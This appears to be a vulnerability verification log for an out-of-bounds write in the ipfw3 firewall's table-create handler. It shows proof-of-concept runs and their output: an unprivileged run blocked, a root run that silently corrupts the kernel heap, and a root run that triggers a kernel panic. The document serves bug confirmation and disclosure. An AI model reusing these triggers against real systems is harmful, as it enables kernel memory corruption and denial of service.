===== DF-0668 BASELINE (unfixed ipfw3_basic): ./ipfw3_table_oob =====

--- run as UNPRIVILEGED user (maxx): confirms root-only reachability ---
$ ./ipfw3_table_oob 33
socket(SOCK_RAW) failed: Operation not permitted (expected for unpriv)
   -> raw IP socket requires caps_priv_check(SYSCAP_NONET_RAW) (sys/netinet/raw_ip.c:473);
      an unprivileged user CANNOT reach the sink. (valid hard blocker for uid=0)

--- run as ROOT, id=16384 (OOB, lands in mapped kmem -> silent) ---
[*] raw socket ok (running as root); targeting id=16384 (0x4000)
[*] setsockopt IP_FW_X opcode=TABLE_CREATE id=16384 type=1 -> expect OOB panic
[*] setsockopt returned 0 errno=0 (Undefined error: 0)
   -> A bounds-checked impl MUST reject id>=32 with EINVAL. Returning 0 means
      table_create_dispatch ran `table_ctx += 16384` and wrote type/count/name +
      2 rn_inithead kernel pointers ~900KB past the 1792-byte table_ctx allocation.
      (silent heap corruption)

--- run as ROOT, id=0x10000000 (~15GB offset -> unmapped -> panic) ---
Fatal trap 12: page fault while in kernel mode
current process		= Idle
kernel: type 12 trap, code=2
Stopped at      table_create_dispatch+0x45:     movl    $0,0x30(%rbx)
   -> that instruction is `table_ctx->count = 0` (ip_fw3_table.c:97); rbx is the
      OOB table_ctx pointer (table_ctx += id). Page fault on the OOB write.